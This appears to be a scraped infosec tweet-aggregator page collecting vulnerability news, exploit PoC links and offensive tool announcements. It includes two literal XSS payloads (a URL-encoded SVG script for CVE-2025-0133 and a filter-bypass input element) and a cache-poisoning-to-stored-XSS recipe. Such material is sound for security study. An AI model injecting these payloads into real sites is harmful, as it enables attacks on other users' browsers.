ZeroDayCVE

Cyber Security Analyst, #InfosecNews #Hacking, #PenTesting #SocialEngineering #Countermeasures #Cybersecurity #Infosec #Cyberattack #Exploits #CVE #Zeroday

[0xor0ne @0xor0ne]

Bootloader security paper: attack surfaces, vulnerability detection techniques, and defenses across firmware, OS, and monolithic bootloaders

Chttps://machiry.github.io/files/soksp2026.pdf

#infosec

[Cyber Security News @The_Cyber_News]

⚠️ Mandiant Releases Rainbow Tables Enabling NTLMv1 Admin Password Hacking

Source: https://t.co/Z7ja0Urw6X

A comprehensive dataset of Net-NTLMv1 rainbow tables marks a significant escalation in demonstrating the security risks of legacy authentication protocols. Mandiant's dataset now enables security professionals to recover authentication keys in under 12 hours using consumer-grade hardware costing less than $600 USD.

This accessibility transforms Net-NTLMv1 from a theoretical vulnerability into a practical attack vector accessible to a far broader threat actor base. The vulnerability stems from Net-NTLMv1's reliance on a known plaintext attack (KPA) mechanism.

#cybersecurityNews #windows

[FAMASoon @FAMASoon]

D4m0n/CVE-2025-50168-pwn2own-berlin-2025: CVE-2025-50168 Exploit PoC — Pwn2Own Berlin 2025 - LPE(Windows 11) winning bug. - https://t.co/DZgTjCsqs4

[Cyber Security News @The_Cyber_News]

🚨 Android 0-Click Vulnerability in System Component Allows Remote Code Execution Attacks

Read more: https://t.co/qLamtcQ6Ft

Google has issued a critical security alert for Android devices, highlighting a severe zero-click vulnerability in the system's core components that could allow attackers to execute malicious code remotely without any user interaction.

The primary concern revolves around CVE-2025-48593, a remote code execution (RCE) bug discovered in the System component.

This vulnerability requires no additional privileges or user engagement, making it particularly dangerous.

Attackers could potentially exploit it via crafted network packets or malicious apps distributed through sideloads or third-party stores.

#cybersecuritynews

[Dark Web Informer @DarkWebInformer]

💡This tool on GitHub is only 2 weeks old, first seen on September 10th, 2025.

Inboxfuscation: An advanced offensive & defensive framework for mailbox rule obfuscation & detection in Exchange environments.

GitHub: https://t.co/CNvKRGrvZW

Release Blog: https://t.co/PFcKpvvMfR

[Daily CyberSecurity @the_yellow_fall]

New patches for CUPS, the open-source Linux printing system, fix two flaws that can lead to remote DoS and authentication bypass.

#CUPS #Linux #Cybersecurity #Vulnerability #Printing
https://t.co/JVPPrhTOKv

[Panos Gkatziroulis 🦄 @ipurple]

A resource containing all the tools each ransomware gangs uses
https://t.co/6lSLaGOqCD

[OccupytheWeb @three_cube]

Password Cracking with hashcat #hashcat #passwordcracking #cybersecurity #CyberWarrior

https://t.co/arLl5bLaAI

[Daily CyberSecurity @the_yellow_fall]

The Patch Isn’t a Fix: New Flaw Lets Attackers Steal NTLM Hashes from Windows

https://t.co/zQrSWDdSp9

[NullSecurityX @NullSecurityX]

Cache Poisoning → Stored XSS

1️⃣ App reflects unsanitized headers (e.g. X-Forwarded-Host) in responses.
2️⃣ Reverse proxy caches malicious response.
3️⃣ Other users get poisoned cached content.
4️⃣ Leads to Stored XSS affecting multiple victims.
#BugBounty #xss

[Dark Web Informer @DarkWebInformer]

TheFatRat: An exploiting tool which compiles a malware with famous payload, and then the compiled malware can be executed on Linux , Windows , Mac and Android.

GitHub: https://t.co/Fo6s7ygwu6

[Dark Web Informer @DarkWebInformer]

WPProbe: A fast and stealthy WordPress plugin enumeration tool

GitHub: https://t.co/wOl58McFWO

• Uses REST API to detect 3,000+ plugins without brute-force
• Maps plugins to known CVEs with version info
• Stealthy, Brute-force, and Hybrid scan modes
• Output in CSV or JSON
• Supports Docker, Go install, and Nix environments
• Ideal for pentesters and bug bounty researchers

[Muqsit 𝕏 @mqst_]

🧑‍💻 Arbitrary JavaScript execution in PDF.js [CVE-2024-4367]

Blog: https://t.co/Vxfxx2FzTZ

#infosec

[VAIDIK PANDYA @h4x0r_fr34k]

Post 2/100
CVE-2025-0133 : Payload + Template

Payload: %3Csvg%20xmlns%3D%22http%3A%2F%https://t.co/RGZgdMgqsP%2F2000%2Fsvg%22%3E%3Cscript%3Eprompt%28%22XSS%22%29%3C%2Fscript%3E%3C%2Fsvg%3E

Write-up: https://t.co/zg37hzp4z4

Template: https://t.co/0pG6utGCi9

----
Check About Us : https://t.co/QizT2Arb7K

[Smukx.E @5mukx]

Reverse engineering undocumented Windows Kernel features to work with the EDR

https://t.co/vGyYzuB9H3

[XSS Payloads @XssPayloads]

A payload to bypass some filters by @xss0r

<input type="checkbox" id="z" value="xss0r" style="display:none" &%2362;="" onchange="top[['alert'][0]](location.hostname);this.remove()"><label for="z" style="position:fixed;inset:0;cursor:crosshair"></label>

[0xor0ne @0xor0ne]

Remote Code Execution on Loftie alarm clocks

https://t.co/rKDsfz9oCu

#embedded #cybersecurity

[The Cyber Security Hub™ @TheCyberSecHub]

WARNING: Millions of Cars Exposed To Remote Hacking Via Critical Vulnerability https://t.co/XCGuSiCeXC

[Daily CyberSecurity @the_yellow_fall]

DeviceCodePhishing: A New Automated Tool Bypasses MFA & FIDO for Azure Entra Users

https://t.co/ebMPFxN7iW

[ACE Responder @ACEResponder]

How cross-trust Kerberos authentication works

#ThreatHunting #DFIR